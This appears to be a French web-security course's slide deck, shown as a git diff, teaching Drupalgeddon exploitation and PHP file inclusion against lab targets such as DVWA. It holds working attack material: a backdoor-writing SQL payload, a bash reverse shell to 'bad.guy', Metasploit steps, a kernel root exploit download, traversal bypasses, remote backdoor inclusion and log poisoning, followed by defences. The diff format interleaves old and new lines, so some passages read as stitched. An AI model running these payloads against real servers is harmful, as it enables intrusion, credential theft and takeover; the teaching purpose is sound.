$attack_payload, '','','',0,0,0,'','','','','','','',0,'hacked','',0,'');
```
Payload
```php
$attack_payload = array('sites/default/files/backdoor.php', $malicious_file_to_upload);
$attack_payload = serialize($attack_payload);
```
[http://drup.al/backdoor](http://drup.al/backdoor)
Note:
- bien entendu on appelle pas ça backdoor
- en réalité l'exploit de Matt Korostoff marche avec un cookie
- deux ou trois échappement sont nécessaire
- même pas besoin créer le compte admin hein ...
- automatisable à souhait
## exploitation
```shell
$ php attack/exploit.php 'http://drup.al'
```
* [http://drup.al/sites/default/files/backdoor.php](http://drup.al.com/sites/default/files/backdoor.php)
* affiche phpinfo()
* [http://drup.al/sites/default/files/backdoor.php?cmd=cat%20../settings.php](http://drup.al/sites/default/files/backdoor.php?cmd=cat%20../../sites/default/settings.php)
* affiche les paramètres SQL
## exploitation
```shell
nc -lvvp 1337
```
met le poste de l'attaquant en écoute sur le port 1337
```http
http://drup.al/sites/default/files/backdoor.php?
cmd=urlencode(bash -c 'bash -i >& /dev/tcp/bad.guy/1337 0>&1 ; bash');
```
en version encodée
```http
http://drup.al/sites/default/files/backdoor.php?
cmd=bash+-c+%27bash+-i+%3E%26+%2Fdev%2Ftcp%2Fbad.guy%2F1337+0%3E%261+%3B+bash%27%0D%0
```
* connecte le serveur sur l'IP de l'attaquant
Note:
- discuter [Bind VS Reverse shell](http://www.go4expert.com/articles/difference-bind-shell-reverse-shell-t25408/)
- Bind shell improbable
- ICMP Reverse Shell passe par le protocole ICMP
- analyse des ping wireshark
- [Bypassing corporate firewall with reverse ssh port forwarding](https://toic.org/blog/2009/reverse-ssh-port-forwarding/)
- sur ma maquette ca marche aussi sur le port 80 ...
## metasploit
[exploit Metasploit](https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/drupal_drupageddon.rb)
```shell
msf > use exploit/multi/http/drupal_drupageddon
msf exploit(drupal_drupageddon) > set RHOST drup.al
msf exploit(drupal_drupageddon) > set PAYLOAD php/meterpreter/reverse_tcp
msf exploit(drupal_drupageddon) > set LHOST bad.guy
msf exploit(drupal_drupageddon) > exploit
[&#10035;] Started reverse handler on 172.16.76.145:4444
meterpreter > shell
whoami
www-data
```
![YES](images/drupalgeddon/yes.jpg "YES")<!-- .element class="fragment roll-in" width="200px"-->
Note:
- l'autocomplétion avec tabulation
- Port à rerouter of course
## escalade de privilèges
* [Local root exploit](http://www.tux-planet.fr/local-root-exploit-pour-les-noyaux-linux-2-6-37-a-3-8-10/)
* environ tous les 2 ans
* [CVE-2013-2094](https://github.com/realtalk/cve-2013-2094)
* fonctionne sur les archi 64bits uniquement
* kernel de 2.6.37 à 3.8.10
```shell
$ # www.tux-planet.fr/public/hack/exploits/kernel/semtex.c is dead
$ wget https://raw.githubusercontent.com/realtalk/cve-2013-2094/master/semtex.c
$ gcc -O2 semtex.c
$ ./a.out
$ whoami
```
## W00T
![w00t!!!!](images/drupalgeddon/woot.gif "w00t")<!-- .element width="100%"-->
## Moralité
* un malheur n'arrive jamais seul
* [c.f. loi de murphy](https://fr.wiktionary.org/wiki/loi_de_Murphy)
* tout doit être à jour
* système, lib, cms, services, ...
* mieux vaut s'appuyer sur des communautés
* réactives
* préoccupées par la sécurité
* bien suivre les mises à jour des produits
* et patcher asap quand nécessaire
......@@ -3,7 +3,7 @@
## aka LFI / RFI
## File Inclusion
### <i class="fas fa-cogs"></i> File Inclusion
* paramètres HTTP non filtrés
......@@ -19,16 +19,20 @@ include($_REQUEST['filename']);
* concerne [include](http://php.net/manual/fr/function.include.php), [include_once](http://php.net/manual/fr/function.include-once.php), [require](http://php.net/manual/fr/function.require.php), [require_once](http://php.net/manual/fr/function.require-once.php), [fopen](http://php.net/manual/fr/function.fopen.php)
## Local File Inclusion (LFI)
### <i class="fas fa-ice-cream"></i> File Inclusion / types
### [security low](http://dv.wa/vulnerabilities/fi/?page=include.php)
* Local File inclusion
* Remote File inclusion
### <i class="fa-solid fa-bomb"></i> LFI / low
* souvent appelé **Directory traversal**
* permet d'accéder à des fichiers sensibles
* [http://dv.wa/vulnerabilities/fi/?page=/etc/passwd](http://dv.wa/vulnerabilities/fi/?page=/etc/passwd)
* [/?page=/etc/passwd](http://dv.wa/vulnerabilities/fi/?page=/etc/passwd)
* marche aussi avec /etc/hosts, ~/.bashrc, ~/.bash_history ...
* marche pas avec /etc/shadow
* marche aussi avec `/etc/hosts`, `~/.bashrc`, `~/.bash_history` ...
* marche pas avec `/etc/shadow`
Note:
- open base dir
......@@ -37,250 +41,134 @@ Note:
- anciennement safe_mode
### fichiers sytèmes connus
* fichiers systèmes génériques
* c:\boot.ini, c:\windows, c:\windows\system32\drivers\etc\hosts
* /etc/passwd
* utilisé des paths absolus
* utilisé des paths relatifs (../.. ou ..\\..)
* windows
* les sevrices tournent souvent en administaretur
* linux
* services en root
* threads avec utlisateur sans privilege
Note:
- pas de troll sur windows
- stackoverflow fonctionne en .net
- microsoft a ouvert de nombreux projets
- les path en pahse de détection sont d'un grand secours pour comprendre l'organisation du filesystem
### fonction de l'architecture du code
### <i class="fa-solid fa-bomb"></i> LFI / low
* charger la page appelée
* [http://dv.wa/vulnerabilities/fi/?page=index.php](http://dv.wa/vulnerabilities/fi/?page=index.php)
* paths absolus / paths relatifs (../.. ou ..\\..)
* linux `/etc/passwd`, `../../../../../etc/hosts`
* windows `c:\boot.ini`, `c:\windows`, `c:\windows\system32\drivers\etc\hosts`
* [/?page=index.php](http://dv.wa/vulnerabilities/fi/?page=index.php)
* boucle infinie = ca marche
* invalider par (include|require)&lowbar;once
### fonction de l'architecture du code
* dossier d'inclusion dynamique de fichier
* paramètres d'url full path
* ?config=../template.htm
* paramètres d'url obfusqué
* ?config=site
```php
include "config/".$config.".php";
```
* [url rewriting](https://www.webrankinfo.com/dossiers/techniques/tutoriel-url-rewriting) à prendre en compte
[http://dum.my/config.php?config=conf.inc](http://dum.my/config.php?config=conf.inc%00)
Note:
- magic_quote_gpc doit être disabled
- supprimé de la version 5.4.0
- pas maquettée on une 5.4.41 sur debian
- code source inclu interprété ou pas
- pas toujours évident à savoir
- bien comprendre le contexte
- importance des paths collecter à l'étape de détection
- exploitable via http://mutillid.ae https://www.youtube.com/watch?v=t8w6Bd5zxbU
- textfile passé en post à intercepter avec burp
- bon exercice
## Remote File Inclusion (RFI)
### <i class="fa-solid fa-bomb"></i> RFI
* inclusion de code arbitraire
* Backdoor ou Remote shell
* dépend de la configuration de php
* par défaut
* dépend de la configuration de php `/etc/php/7.4/apache2/php.ini`
```ini
; Whether to allow include/require to open URLs (like http:// or ftp://) as files.
; http://php.net/allow-url-include
allow_url_include=Off
allow_url_include=On # just for test purpose
```
* à On pour les besoins du TP
* certains produits PHP nécessitent cette option
`$ sudo systemctl restart apache2`
<i class="fa-solid fa-face-grin-squint-tears"></i> certains produits PHP nécessitent cette option!
### [security medium](http://dv.wa/vulnerabilities/fi/?page=include.php)
Approche artisanale
### <i class="fa-solid fa-bomb"></i> RFI / low
```php
$file = str_replace("http://", "", $file);
$file = str_replace("https://", "", $file);
```
* <small>[/?page=http://perdu.com](http://dv.wa/vulnerabilities/fi/?page=http://perdu.com)</small>
* <i class="fas fa-poop"></i> drôle mais pas très utile
Note:
- discuter la surcharge du php.ini via .htaccess
- solution ispconfig
- on reste bien sur security low pour que ca marche
* <small>[https://perso.limos.fr/mazenod/slides/1337/exploits/_server.php](https://perso.limos.fr/mazenod/slides/1337/exploits/_server.php)</small>
* <small>[/?page=https://perso.limos.fr/mazenod/slides/1337/exploits/_server.php](http://dv.wa/vulnerabilities/fi/?page=https://perso.limos.fr/mazenod/slides/1337/exploits/_server.php)</small>
* <i class="fa-solid fa-poo"></i> un peu frustrant
## Backdoor
### <i class="fa-solid fa-bomb"></i> FI / payloads / backdoor
* basiquement permet d'exécuter du code et / ou des commandes systèmes
* Basiquement permet d'exécuter du code et / ou des commandes systèmes
* version artisanale
```php
echo passthru($_GET['cmd']);
```
* version plus robuste
* [<i class='fab fa-github' aria-hidden='true'></i> dberliner/php-backdoor](https://github.com/dberliner/php-backdoor)
* [r57shell.net](http://www.r57shell.net/)
```php
echo passthru($&lowbar;GET['cmd']);
```
* version plus robuste
* [<i class='fa fa-github' aria-hidden='true'></i> dberliner/php-backdoor](https://github.com/dberliner/php-backdoor)
* [r57shell.net](http://www.r57shell.net/)
### <i class="fa-solid fa-bomb"></i> RFI / payloads / backdoor
## remote raw backdoor
* <small>[/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php](http://dv.wa/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php) <i class="fa-solid fa-thumbs-up"></i></small>
<small>[http://dv.wa/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php](http://dv.wa/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php)</small>
* <small>[/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php?c=ls](http://dv.wa/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php?c=ls) <i class="fa-solid fa-thumbs-down"></i></small>
### <i class="fa fa-thumbs-o-up" aria-hidden="true"></i>
* <small>[/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php&c=ls](http://dv.wa/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php&c=ls) <i class="fa-solid fa-thumbs-up"></i></small>
<small>
[http://dv.wa/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php?c=ls](http://dv.wa/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php?c=ls)</small>
### <i class="fa fa-thumbs-o-down" aria-hidden="true"></i>
### <i class="fa-solid fa-bomb"></i> RFI / security medium
```php
$file = str_replace(
array( "http://", "https://" ),
"",
$file
);
```
<small>
[http://dv.wa/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php&c=ls](http://dv.wa/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php&c=ls)
</small>
### <i class="fa fa-thumbs-o-up" aria-hidden="true"></i>
### [security medium](http://dv.wa/vulnerabilities/fi/?page=include.php)
#### log poisoning
* ne nécessite aucun accès en écriture sur le système de fichier
* nécessite une mauvaise configuration des permissions sur les logs (custom logs)
* [exploitable avec les logs ssh, apache, mysql](http://oleaass.com/file-inclusion-log-poisoning-to-code-execution/)
dans `/etc/apache2/sites-enabled/dvwa`
```ìni
CustomLog /home/mazenovi/logs/dvwa-access.log combined
```
* [/?page=hthttp://tp://www.google.fr](http://dv.wa/vulnerabilities/fi/?page=hthttp://tp://www.google.fr)
* échapper l'échappement
* [/?page=php://filter/convert.base64-encode/resource=file1.php](http://dv.wa/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=file1.php)
* récupère le code source php du fichier file1.php
* [/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJob3N0bmFtZSIpOyA/Pgo=](http://dv.wa/vulnerabilities/fi/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJob3N0bmFtZSIpOyA/Pgo=)
* exécute `<?php system("hostname"); ?>`
#### log poisoning
* l'utilisateur lié au thread apache a accès en lecture à ce répertoire
<small>
[http://dv.wa/vulnerabilities/fi/?page=/home/mazenovi/logs/dvwa-access.log](http://dv.wa/vulnerabilities/fi/?page=/home/mazenovi/logs/dvwa-access.lo)
</small>
* les logs sont affichés
Note:
- j'ai volontairement configuré les logs dans un endroit non sécurisé pour que ca marche
- pour des facilités de lectures ou d'archivage ca poeut êtyre une idée (mauvaise)
- lien symbolique doit marcher ausssi
## injection de la backdoor
- discuter la surcharge du php.ini via .htaccess
- solution ispconfig
- on reste bien sur security low pour que ca marche
* netcat (aka nc) permetd'ouvrir des connexions UDP ou TCP
```shell
$ nc dv.wa 80
```
### <i class="fa-solid fa-bomb"></i> LFI / security medium
* Entrer manuellement les paramètres suivant
```http
GET /<?php echo passthru($_GET['cmd']); ?> HTTP/1.1
Host: dv.wa
Referer: <?php echo passthru($_GET['cmd2']); ?>
User-Agent: <?php echo passthru($_GET['cmd3']); ?>
```
```php
$file = str_replace(
array( "../", "..\\" ),
"",
$file
);
```
<small>
[http://dv.wa/vulnerabilities/fi/?page=/home/mazenovi/logs/dvwa-access.log&cmd=ls](http://dv.wa/vulnerabilities/fi/?page=/home/mazenovi/logs/dvwa-access.log&cmd=ls)
</small>
attendre le log rotate en cas d'échec
* [/?page=../../../../../etc/hosts](http://dv.wa/vulnerabilities/fi/?page=../../../../../etc/hosts)
* ne fonctionne plus
* [/?page=../..././..././..././..././..././etc/hosts](http://dv.wa/vulnerabilities/fi/?page=../..././..././..././..././..././etc/hosts)
* permet d'échapper l'échappement
* [/?page=/etc/passwd](http://dv.wa/vulnerabilities/fi/?page=../..././..././..././..././..././etc/hosts)
* Les paths absolus fonctionnent toujours
Note:
- notez que les .log ne sont pas associés à l'interpréteur PHP au niveau d'apache
- c'est le include qui interprète gentiment ce qui est entre <?php ... ?>
- attention c'est un one shot
- > /home/mazenovi/logs/dvwa-access.log pour bien voir
- > /home/mazenovi/logs/dvwa-error.log pour bien voir
- ctrl + f "help" pour trouver les rep listés on est dans
- /var/www/dvwa/vulnerabilities/fi/
## PHP [safe mode](http://php.net/manual/fr/ini.sect.safe-mode.php)
</small>
* Quand safe mode est actif, PHP vérifie que le propriétaire du script courant est le même que le propriétaire des fichiers ou dossiers qui seront manipulés par ce script.
```shell
-rw-rw-r-- 1 rasmus rasmus 33 Jul 1 19:20 script.php
-rw-r--r-- 1 root root 1116 May 26 18:01 /etc/passwd
```
### <i class="fa-solid fa-bomb"></i> LFI / security high
```php
readfile('/etc/passwd');
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
```
```shell
Warning: SAFE MODE Restriction in effect. The script whose uid is 500 is not
allowed to access /etc/passwd owned by uid 0 in /docroot/script.php on line 2
```
## PHP [safe mode](http://php.net/manual/fr/ini.sect.safe-mode.php)
* résout le problème du partage de PHP
* environnement mutualisé
* déprécié en 5.3
* supprimé depuis 5.4
* approche non réaliste
* ce n'est pas à PHP de régler ce problème
* [safe_mode_gid](http://php.net/manual/fr/ini.sect.safe-mode.php#ini.safe-mode-gid) permet d'élargir au groupe s'il est activé
## [suPHP](http://www.suphp.org/Home.html)
* executing PHP scripts with the permissions of their owners
* Apache module (mod_suphp)
* setuid root binary (suphp)
* called by the Apache module to change the uid of the process executing the PHP interpreter
* rien ne doit être en chmod 777
* reporté comme erreur
abandonné depuis 2013
## [suExec](http://httpd.apache.org/docs/2.4/fr/suexec.html)
<small>
* Au niveau d'Apache
* exécution des programmes CGI et SSI (Server Side Inclusion)
* utilisateur autre que celui par défaut d'apache
* accès au fichier caché
* [/?page=file4.php](http://dv.wa/vulnerabilities/fi/?page=file4.php)
* [wrapper file](https://www.php.net/manual/en/wrappers.file.php)
* [/?page=file:///etc/hosts](http://dv.wa/vulnerabilities/fi/?page=file:///etc/hosts)
* le dossier file n'existe pas mais php résout tout de même
* [/?page=file/../../../../../../etc/hosts](http://dv.wa/vulnerabilities/fi/?page=file/../../../../../../etc/hosts)
Note:
- bien pour le multi hosting notamment
- chacun ne peut ruiner que son périmètre
- Utilisée de manière appropriée
- réduit considérablement les risques de sécurité
- les deux sont déconseillés car ils se basent sur des mod PHP peu performant par rapport à PHP-FPM
### <i class="fa fa-medkit"></i> open_base_dir
## [open_base_dir](http://php.net/manual/fr/ini.core.php#ini.open-basedir)
* [open_base_dir](http://php.net/manual/fr/ini.core.php#ini.open-basedir)
* A l'appel de fonctions de type [require_once](http://php.net/manual/fr/function.require-once.php) ou [fopen](http://php.net/manual/fr/function.fopen.php)
* le chemin vers le fichier est analysé
* si le fichier est à l'extérieur des dossiers spécifiés
......@@ -289,9 +177,9 @@ Note:
* il n'est pas possible d'outre-passer cette restriction avec un lien symbolique
## [open_base_dir](http://php.net/manual/fr/ini.core.php#ini.open-basedir)
### <i class="fa fa-medkit"></i> open_base_dir
* **.** inclue le fichier lui-même
* `.` inclue le fichier lui-même
* problématique si on change le dossier courant avec [chdir()](http://php.net/manual/fr/function.chdir.php)
* valeur typique
......@@ -305,46 +193,40 @@ Note:
- on peut désactiver chdir ...
## [realpath()](http://php.net/manual/fr/function.realpath.php) and [basename()](http://php.net/manual/fr/function.basename.php)
### <i class="fa fa-medkit"></i> [realpath()](http://php.net/manual/fr/function.realpath.php) and [basename()](http://php.net/manual/fr/function.basename.php)
* realpath()
* [realpath()](http://php.net/manual/fr/function.realpath.php)
* converti tous les *.* et **..** en path absolue
* retourne null pour un path inexistant
* basename()
* [basename()](http://php.net/manual/fr/function.basename.php)
* extrait la partie contenant le nom du dossier précédant directement le nom du fichier
* 2 fonctions qui combinées évitent les directory traversal
## [realpath()](http://php.net/manual/fr/function.realpath.php) and [basename()](http://php.net/manual/fr/function.basename.php)
### <i class="fa fa-medkit"></i> [realpath()](http://php.net/manual/fr/function.realpath.php) and [basename()](http://php.net/manual/fr/function.basename.php)
```php
$username = $_GET['user'];
$filename = "/home/users/".$username;
$filename = "/home/users/".$username.".txt";
readfile($filename);
```
peut être sécurisé via realpath() et basename()
peut être sécurisé via [realpath()](http://php.net/manual/fr/function.realpath.php) et [basename()](http://php.net/manual/fr/function.basename.php)
```php
$username = basename(realpath($_GET['user']));
$filename = "/home/users/".$username;
$filename = "/home/users/".$username.".txt";
readfile($filename);
```
ne préserve pas d'une LFI dans le même répertoire
## <i class="fa fa-medkit"></i> Se préserver
### <i class="fa fa-medkit"></i> Se préserver
* déscativer [allow_url_include](https://www.php.net/manual/en/filesystem.configuration.php)
* utiliser [open_base_dir](http://php.net/manual/fr/ini.core.php#ini.open-basedir)
* désactiver l'exécution de php sur les répertoires exposés qui n'en ont pas besoin (c.f. [upload](upload.htm))
* filtrer ses entrées
* avec realpath() et basename()
* par listes blanches
* déscativer allow_url_include
* utiliser l'open_base_dir
## <i class="fa fa-medkit"></i> Se préserver
* désactiver l'exécution de php sur les répertoires exposés qui n'en ont pas besoin (c.f. [upload](upload.htm))
* faire attention aux permissions des logs notamment en lecture
* écriture forcément autoriser pour l'utilisateur qui fait tourner le serveur
* avec [realpath()](http://php.net/manual/fr/function.realpath.php) et [basename()](http://php.net/manual/fr/function.basename.php)
\ No newline at end of file